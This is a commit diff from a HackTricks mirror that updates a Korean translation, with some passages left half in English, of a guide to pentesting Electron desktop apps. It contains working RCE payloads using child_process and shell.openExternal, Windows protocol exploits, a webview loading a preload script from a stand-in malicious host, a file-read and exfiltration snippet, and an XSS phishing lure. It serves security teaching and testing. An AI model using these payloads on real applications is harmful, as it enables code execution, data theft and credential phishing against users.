mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
a9ccf9804b
commit
1950eb5c38
@ -4,14 +4,14 @@
|
||||
|
||||
## 소개
|
||||
|
||||
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합한 구조지만, 최신 브라우저가 제공하는 일부 보안 메커니즘이 부족합니다.
|
||||
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 현대 브라우저의 일부 보안 메커니즘은 갖추고 있지 않습니다.
|
||||
|
||||
보통 Electron 앱 코드는 `.asar` 애플리케이션 내부에 들어 있어, 코드를 얻으려면 이를 추출해야 합니다:
|
||||
일반적으로 Electron 앱 코드는 `.asar` 애플리케이션 내부에 존재합니다. 코드를 얻으려면 이를 추출해야 합니다:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 정의된 `main.js` 파일이 지정되어 있습니다.
|
||||
Electron 앱의 소스 코드에서, `packet.json` 안에 보안 설정이 적용된 `main.js` 파일이 지정되어 있는 것을 찾을 수 있습니다.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ Electron 앱의 소스 코드에서 `packet.json` 안에 보안 설정이 정의
|
||||
```
|
||||
Electron에는 2가지 프로세스 유형이 있습니다:
|
||||
|
||||
- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
|
||||
- 렌더러 프로세스 (보안상 NodeJS 접근이 제한되어야 함)
|
||||
- Main Process (NodeJS에 대한 완전한 접근 권한 보유)
|
||||
- Renderer Process (보안상 NodeJS 접근 권한을 제한해야 함)
|
||||
|
||||
.png>)
|
||||
|
||||
**렌더러 프로세스**는 파일을 로드하는 브라우저 창입니다:
|
||||
**renderer process**는 파일을 로드하는 브라우저 창입니다:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
main.js 파일 안의 **메인 프로세스**에서 **렌더러 프로세스**의 설정을 **구성**할 수 있습니다. 일부 설정을 올바르게 구성하면 **Electron** 애플리케이션이 **RCE** 또는 다른 취약점을 얻는 것을 **방지**할 수 있습니다.
|
||||
Settings of the **렌더러 프로세스** can be **구성** in the **메인 프로세스** inside the main.js file. Some of the configurations will **Electron 애플리케이션이 RCE를 얻는 것을 방지**하거나 다른 취약점을 막을 수 있습니다 if the **설정이 올바르게 구성된 경우**.
|
||||
|
||||
Electron 애플리케이션은 Node apis를 통해 **디바이스에 접근할 수 있습니다**, 하지만 이를 방지하도록 구성할 수 있습니다:
|
||||
The Electron 애플리케이션 **Node apis를 통해 기기에 접근할 수 있습니다** although it can be configure to prevent it:
|
||||
|
||||
- **`nodeIntegration`** - 기본값은 `off`입니다. 활성화되면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.
|
||||
- **`contextIsolation`** - 기본값은 `on`입니다. `off`이면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
|
||||
- **`contextIsolation`** - 기본값은 `on`입니다. 비활성화하면 메인 프로세스와 렌더러 프로세스가 분리되지 않습니다.
|
||||
- **`preload`** - 기본값은 비어 있습니다.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본값은 `off`입니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 `off`입니다. NodeJS가 수행할 수 있는 동작을 제한합니다.
|
||||
- Workers에서의 Node Integration
|
||||
- **`nodeIntegrationInSubframes`**- 기본값은 `off`입니다.
|
||||
- `nodeIntegration`이 활성화되어 있으면, Electron 애플리케이션 내의 iframe에 로드된 웹 페이지에서 **Node.js APIs**를 사용할 수 있습니다.
|
||||
- `nodeIntegration`이 비활성화되어 있으면 preload가 iframe에서 로드됩니다.
|
||||
- **`nodeIntegrationInSubframes`** - 기본값은 `off`입니다.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
|
||||
Example of configuration:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에 있는 몇 가지 **RCE payloads**:
|
||||
다음은 [here](https://7as.es/electron/nodeIntegration_rce.txt)에서 가져온 몇 가지 **RCE payloads**:
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -101,9 +101,9 @@ start-main 구성을 수정하고 다음과 같은 proxy 사용을 추가하세
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
## Electron 로컬 코드 인젝션
|
||||
|
||||
로컬에서 Electron App을 실행할 수 있다면 임의의 javascript 코드를 실행하도록 만들 수 있습니다. 방법은 다음을 확인하세요:
|
||||
If you can execute locally an Electron App it's possible that you could make it execute arbitrary javascript code. Check how in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ start-main 구성을 수정하고 다음과 같은 proxy 사용을 추가하세
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
||||
만약 **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 JavaScript는 `require()`를 호출하는 것만으로 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
이 설정에 지정된 스크립트는 renderer의 다른 스크립트보다 **먼저 로드되므로**, Node APIs에 **무제한 접근 권한을 가집니다**:
|
||||
이 설정에 지정된 스크립트는 **renderer의 다른 스크립트들보다 먼저 로드**되므로, **Node APIs에 무제한 접근** 권한을 갖습니다:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
따라서 이 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
|
||||
따라서, 이 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -149,21 +149,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **`contextIsolation`이 켜져 있으면, 이 방법은 작동하지 않습니다**
|
||||
> [!NOTE] > **If `contextIsolation` is on, this won't work**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.
|
||||
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
||||
|
||||
컨텍스트가 분리되어 있지 않다면 공격자는 다음을 할 수 있습니다:
|
||||
컨텍스트가 격리되어 있지 않다면 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
1. renderer에서 **임의의 JavaScript를 실행** (XSS 또는 외부 사이트로의 이동)
|
||||
2. preload 또는 Electron 내부 코드에서 사용되는 **내장 메서드를 덮어써서 제어권 획득**
|
||||
1. **renderer에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 이동)
|
||||
2. **preload 또는 Electron 내부 코드에서 사용되는 내장 메서드를 덮어쓰기**
|
||||
3. **덮어쓴 함수의 사용을 트리거**
|
||||
4. RCE?
|
||||
|
||||
내장 메서드를 덮어쓸 수 있는 위치는 2곳입니다: preload 코드 또는 Electron 내부 코드:
|
||||
|
||||
내장 메서드를 덮어쓸 수 있는 곳은 2곳이 있습니다: preload 코드 또는 Electron 내부 코드 안:
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
@ -181,34 +180,34 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### 클릭 이벤트 우회
|
||||
|
||||
링크를 클릭할 때 제한이 있는 경우, 일반 왼쪽 클릭 대신 **middle click**을 사용해 이를 우회할 수 있습니다.
|
||||
링크를 클릭할 때 제한이 적용되어 있다면 일반 왼쪽 클릭 대신 **중간 클릭을 사용**하여 우회할 수 있습니다
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## shell.openExternal을 통한 RCE
|
||||
|
||||
이 예제들에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요
|
||||
이 예제들에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)을 확인하세요
|
||||
|
||||
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation` 설정을 올바르게 구성하는 것이 중요합니다. 이러한 설정이 적용되면 preload scripts 또는 메인 프로세스의 Electron native code를 대상으로 한 **client-side remote code execution (RCE)**가 사실상 차단되는 것으로 알려져 있습니다.
|
||||
Electron 데스크톱 애플리케이션을 배포할 때 `nodeIntegration`과 `contextIsolation`을 올바르게 설정하는 것은 매우 중요합니다. 이러한 설정이 적용되면 preload 스크립트나 메인 프로세스에서 Electron의 네이티브 코드로 향하는 **client-side remote code execution (RCE)**는 효과적으로 차단된다고 알려져 있습니다.
|
||||
|
||||
사용자가 링크를 클릭하거나 새 창을 열면 애플리케이션의 보안과 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
|
||||
사용자가 링크를 클릭하거나 새 창을 열 때 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안과 기능에 중요합니다:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
이러한 리스너들은 **데스크탑 애플리케이션에 의해 재정의(overridden)**되어 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지를 평가합니다. 이 결정은 일반적으로 `openInternally` 함수에서 이루어집니다. 이 함수가 `false`를 반환하면 해당 링크는 외부에서 열려야 함을 의미하며, `shell.openExternal` 함수를 사용합니다.
|
||||
이들 리스너는 **데스크탑 애플리케이션에 의해 오버라이드되어** 자체적인 **비즈니스 로직**을 구현합니다. 애플리케이션은 이동한 링크를 내부에서 열지 외부 웹 브라우저에서 열지를 판단합니다. 이 결정은 일반적으로 `openInternally` 함수에서 이루어집니다. 해당 함수가 `false`를 반환하면 링크를 외부에서 열어야 함을 나타내며, 이때 `shell.openExternal` 함수를 사용합니다.
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
**다음은 단순화된 의사코드입니다:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않도록 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영체제는 RCE를 유발할 수 있는 서로 다른 프로토콜들을 지원합니다. 이 주제에 대한 자세한 예시와 추가 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있으며, 해당 문서에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시들이 포함되어 있습니다.
|
||||
Electron JS의 보안 권장사항은 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 받아들이지 않을 것을 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 서로 다른 프로토콜을 지원합니다. 이 주제에 대한 자세한 예시와 설명은 [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)를 참고할 수 있으며, 해당 자료에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다.
|
||||
|
||||
macos에서 `openExternal` 함수는 `shell.openExternal('file:///System/Applications/Calculator.app')`처럼 임의의 명령을 실행하도록 악용될 수 있습니다.
|
||||
macos에서는 `openExternal` 함수를 악용하여 `shell.openExternal('file:///System/Applications/Calculator.app')`와 같이 임의의 명령을 실행할 수 있습니다.
|
||||
|
||||
**Windows 프로토콜 exploits 예시에는 다음이 포함됩니다:**
|
||||
**Windows 프로토콜 exploits의 예시는 다음과 같습니다:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -230,15 +229,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
이 vuln은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 확인할 수 있습니다.
|
||||
이 취약점은 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**에서 확인할 수 있다.
|
||||
|
||||
The **webviewTag**은 **deprecated feature**로, **renderer process**에서 **NodeJS**를 사용할 수 있게 합니다. 이는 **preload context** 안에 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다:
|
||||
**webviewTag**는 **사용 중단된 기능**으로, **renderer process**에서 **NodeJS** 사용을 허용합니다. 이는 preload context 내부에 다음과 같이 스크립트를 로드할 수 있게 하므로 비활성화해야 합니다:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
따라서 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용해 **임의의 preload script를 로드할 수 있다**.
|
||||
따라서 임의의 페이지를 로드할 수 있는 공격자는 해당 태그를 사용해 **임의의 preload 스크립트를 로드할 수 있다**.
|
||||
|
||||
이 preload script는 악용되어 **취약한 IPC 서비스 (`skype-new-window`)**를 호출했고, 그 서비스는 RCE를 얻기 위해 **`shell.openExternal`**를 호출하고 있었다:
|
||||
이 preload 스크립트는 이후 **취약한 IPC 서비스 (`skype-new-window`)** 를 호출하도록 악용되었고, 해당 서비스가 **`shell.openExternal`** 를 호출하여 RCE를 획득했다:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## 내부 파일 읽기: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있게 되어**, `<iframe>`과 유사하게 로컬 파일을 읽고 exfiltrating할 수 있습니다. 다음 예제는 이 취약점을 exploit하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
|
||||
**`contextIsolation`을 비활성화하면 `<webview>` 태그를 사용할 수 있습니다**, `<iframe>`와 유사하게 로컬 파일을 읽고 exfiltrating할 수 있습니다. 예시에서는 이 취약점을 악용해 내부 파일의 내용을 읽는 방법을 보여줍니다:
|
||||
|
||||
.png>)
|
||||
|
||||
또한, **내부 파일 읽기**를 위한 또 다른 방법이 공유되며, 이는 Electron 데스크톱 앱에 존재하는 심각한 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 애플리케이션을 exploit하기 위해 스크립트를 inject하고 데이터를 exfiltrate하는 과정을 포함합니다:
|
||||
또한 **내부 파일을 읽는 방법** 하나가 더 공유되어 Electron desktop app에서 치명적인 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 스크립트를 주입하여 애플리케이션을 악용하고 데이터를 exfiltrate하는 것을 포함합니다:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -273,21 +272,21 @@ frames[0].document.body.innerText
|
||||
```
|
||||
## **RCE: XSS + 구형 chromium**
|
||||
|
||||
애플리케이션에서 사용하는 **chromium**이 **구형**이고 그에 대한 **이미 알려진 취약점들**이 있다면, 이를 **exploit**하여 **XSS**를 통해 **RCE**를 얻을 수 있습니다.\
|
||||
예시는 다음 **writeup**에서 확인할 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
애플리케이션에서 사용하는 **chromium**이 **구형**이고 그 위에 **known vulnerabilities**가 존재한다면, 이를 **exploit**하여 **XSS**를 통해 **RCE**를 얻을 수 있습니다.\
|
||||
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
## **Internal URL regex bypass를 통한 XSS Phishing**
|
||||
|
||||
XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 탈취할 수 없다면**, 이를 이용해 **phishing**을 통해 자격 증명(credentials)을 탈취해 볼 수 있습니다.
|
||||
XSS를 발견했지만 **RCE를 유발하거나 내부 파일을 탈취할 수 없는** 경우, 이를 이용해 **phishing**으로 **credentials**를 탈취해 볼 수 있습니다.
|
||||
|
||||
먼저 새로운 URL을 열려고 시도할 때 어떤 일이 발생하는지, 프론트엔드의 JS 코드를 확인해 알아야 합니다:
|
||||
우선 새 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 합니다. 프론트엔드의 JS 코드를 확인하세요:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** 호출은 해당 **link**가 **열릴지** **데스크톱 창**에서 플랫폼 소유의 링크로 간주될지, **또는** **브라우저에서 제3자 리소스로** 열릴지를 결정합니다.
|
||||
**`openInternally`** 호출은 해당 **link**가 플랫폼 소속의 링크로서 **desktop window**에서 **opened** 될지, **or** **browser as a 3rd party resource**에서 열릴지를 결정합니다.
|
||||
|
||||
함수에서 사용된 **regex**가 **vulnerable to bypasses**(예: **서브도메인의 점을 이스케이프하지 않음**)인 경우, 공격자는 **XSS**를 악용해 **새 창을 열어** 공격자 인프라에 위치시킨 뒤 사용자에게 **자격 증명을 요구**할 수 있습니다:
|
||||
함수에서 사용되는 **regex**가 **vulnerable to bypasses**한 경우(예: **not escaping the dots of subdomains**), 공격자는 XSS를 악용해 공격자 인프라에 위치한 **open a new window which**를 열어 사용자에게 **asking for credentials**를 요청할 수 있습니다:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +294,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` 프로토콜
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 페이지는 **`file://`**로 실행될 경우 기기의 모든 파일에 일방적으로 접근할 수 있으므로 **XSS** 취약점으로 사용자의 기기에서 임의 파일을 로드할 수 있습니다. **커스텀 프로토콜**을 사용하면 프로토콜이 제공하는 파일을 특정 집합으로만 제한할 수 있어 이러한 문제를 방지할 수 있습니다.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **사용자 정의 프로토콜** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Remote 모듈
|
||||
## Remote module
|
||||
|
||||
The Electron Remote 모듈은 **renderer processes to access main process APIs**를 허용하여 Electron 애플리케이션 내 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 심각한 보안 리스크가 발생합니다. 애플리케이션의 공격 표면이 넓어져 XSS와 같은 취약점에 더 취약해집니다.
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
> 비록 **remote** 모듈이 main에서 renderer로 일부 API를 노출하지만, 구성요소만 악용한다고 해서 곧바로 RCE를 얻는 것은 쉽지 않습니다. 다만 구성요소가 민감한 정보를 노출할 수 있습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **사용하지 않는 것이 권장됩니다**.
|
||||
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
To enable it, it'd first needed to **메인 프로세스에서 활성화해야** 합니다:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,28 +319,28 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
그런 다음, renderer 프로세스는 다음과 같이 모듈에서 객체를 import할 수 있습니다:
|
||||
그런 다음, 렌더러 프로세스는 다음과 같이 모듈에서 객체를 import할 수 있습니다:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** 에서는 remote 모듈의 객체 **`app`** 이 노출하는 몇 가지 흥미로운 **functions** 를 설명합니다:
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**은 remote 모듈의 객체 **`app`**이 노출하는 몇 가지 흥미로운 **함수들**을 설명합니다:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **애플리케이션을 재시작**합니다. 이는 현재 인스턴스를 **종료**하고 새 인스턴스를 **실행**함으로써 이루어집니다. **앱 업데이트**나 중요한 **상태 변경** 시 유용합니다.
|
||||
- **애플리케이션을 재시작**합니다 — 현재 인스턴스를 **종료**하고 새 인스턴스를 **시작**합니다. **app 업데이트**나 중요한 **상태 변경**에 유용합니다.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **로그를 저장할 디렉터리**를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`** 를 사용해 **검색**하거나 **수정**할 수 있습니다.
|
||||
- **app 로그**를 저장할 디렉터리를 **정의**하거나 **생성**합니다. 로그는 **`app.getPath()`** 또는 **`app.setPath(pathName, newPath)`**를 사용해 **가져오거나**(**retrieved**) **수정**(**modified**)할 수 있습니다.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- 지정된 **프로토콜**의 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요하면 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- 지정한 **프로토콜**의 **기본 핸들러**로 현재 실행 파일을 **등록**합니다. 필요하면 **사용자 지정 경로**와 **인수**를 제공할 수 있습니다.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- Windows의 **Tasks category** 내 **Jump List**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **시작**되는지 또는 어떤 **인수**가 전달되는지 제어할 수 있습니다.
|
||||
- Windows의 **Jump List** 내 **Tasks 카테고리**에 작업을 **추가**합니다. 각 작업은 앱이 어떻게 **실행**되는지 또는 어떤 **인수**가 전달되는지를 제어할 수 있습니다.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **PKCS#12 certificate**를 시스템의 **인증서 저장소**로 **가져옵니다** (Linux 전용). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
|
||||
- 시스템의 **certificate store**에 **PKCS#12 certificate**를 **임포트(가져오기)**합니다 (Linux 전용). 결과 처리를 위해 **callback**을 사용할 수 있습니다.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- 애플리케이션을 **Applications folder** (macOS)로 **이동**합니다. Mac 사용자의 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- macOS에서 애플리케이션을 **Applications 폴더**로 **이동**합니다. Mac 사용자를 위한 **표준 설치**를 보장하는 데 도움이 됩니다.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Windows**에서 **custom Jump List**를 **설정**하거나 **제거**합니다. 사용자가 작업을 어떻게 보는지 구성하기 위해 **categories**를 지정할 수 있습니다.
|
||||
- Windows에서 **custom Jump List**를 **설정**하거나 **제거**합니다. 작업이 사용자에게 어떻게 표시되는지 정리하기 위해 **카테고리(categories)**를 지정할 수 있습니다.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- 어떤 **실행 파일(executables)**이 **로그인** 시 실행되는지 및 그들의 **옵션**을 **구성**합니다 (macOS 및 Windows 전용).
|
||||
- 어떤 **실행 파일(executables)**이 로그인 시 **실행**되는지와 그 **옵션**을 **구성**합니다 (macOS 및 Windows 전용).
|
||||
|
||||
Example:
|
||||
```javascript
|
||||
@ -350,7 +349,7 @@ Native.app.exit()
|
||||
```
|
||||
## systemPreferences 모듈
|
||||
|
||||
Electron에서 시스템 환경설정에 접근하고 **시스템 이벤트를 발생시키는** 데 사용되는 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 및 **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
|
||||
Electron에서 시스템 환경설정에 접근하고 시스템 이벤트를 발생시키기 위한 **주요 API**입니다. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, 그리고 **setUserDefault** 같은 메서드들은 모두 이 모듈의 **일부**입니다.
|
||||
|
||||
**사용 예시:**
|
||||
```javascript
|
||||
@ -367,33 +366,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **NSDistributedNotificationCenter**를 사용하여 **네이티브 macOS 알림**을 **수신**합니다.
|
||||
* **macOS Catalina** 이전에는 **nil**을 CFNotificationCenterAddObserver에 전달하여 **모든** 분산 알림을 sniff할 수 있었습니다.
|
||||
* **Catalina / Big Sur** 이후에는 샌드박스된 앱이 알림을 **이름으로 등록**함으로써 여전히 **많은 이벤트**(예: **화면 잠금/해제**, **볼륨 마운트**, **네트워크 활동** 등)를 구독할 수 있습니다.
|
||||
* **수신**: NSDistributedNotificationCenter를 사용해 **native macOS notifications**을 수신합니다.
|
||||
* **macOS Catalina 이전**에는 CFNotificationCenterAddObserver에 **nil**을 전달하여 **all** distributed notifications을 sniff할 수 있었습니다.
|
||||
* **Catalina / Big Sur 이후**에는 sandboxed apps가 이름으로 notifications를 등록하여 **screen locks/unlocks**, **volume mounts**, **network activity** 등 많은 이벤트를 여전히 **subscribe**할 수 있습니다.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **NSUserDefaults**와 **인터페이스**하여 macOS에서 **애플리케이션** 또는 **전역 설정**을 저장합니다.
|
||||
* NSUserDefaults와 **인터페이스**하며, macOS에서 **application** 또는 **global** 환경설정을 저장합니다.
|
||||
|
||||
* **getUserDefault**는 **최근 파일 위치**나 **사용자의 지리적 위치**와 같은 민감한 정보를 **조회**할 수 있습니다.
|
||||
* **getUserDefault**는 최근 파일 위치나 사용자의 지리적 위치 등 민감한 정보를 **retrieve**할 수 있습니다.
|
||||
|
||||
* **setUserDefault**는 이러한 설정을 **수정**하여 앱의 **구성(configuration)**에 영향을 줄 수 있습니다.
|
||||
* **setUserDefault**는 이러한 환경설정을 **modify**하여 앱의 **configuration**에 영향을 줄 수 있습니다.
|
||||
|
||||
* **older Electron versions**(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 **접근 가능**했습니다.
|
||||
* 오래된 Electron 버전(v8.3.0 이전)에서는 NSUserDefaults의 **standard suite**만 접근 가능했습니다.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
This function shows the given file in a file manager, which **could automatically execute the file**.
|
||||
이 함수는 파일 매니저에서 지정된 파일을 보여주며, 파일이 자동으로 실행될 수 있습니다.
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
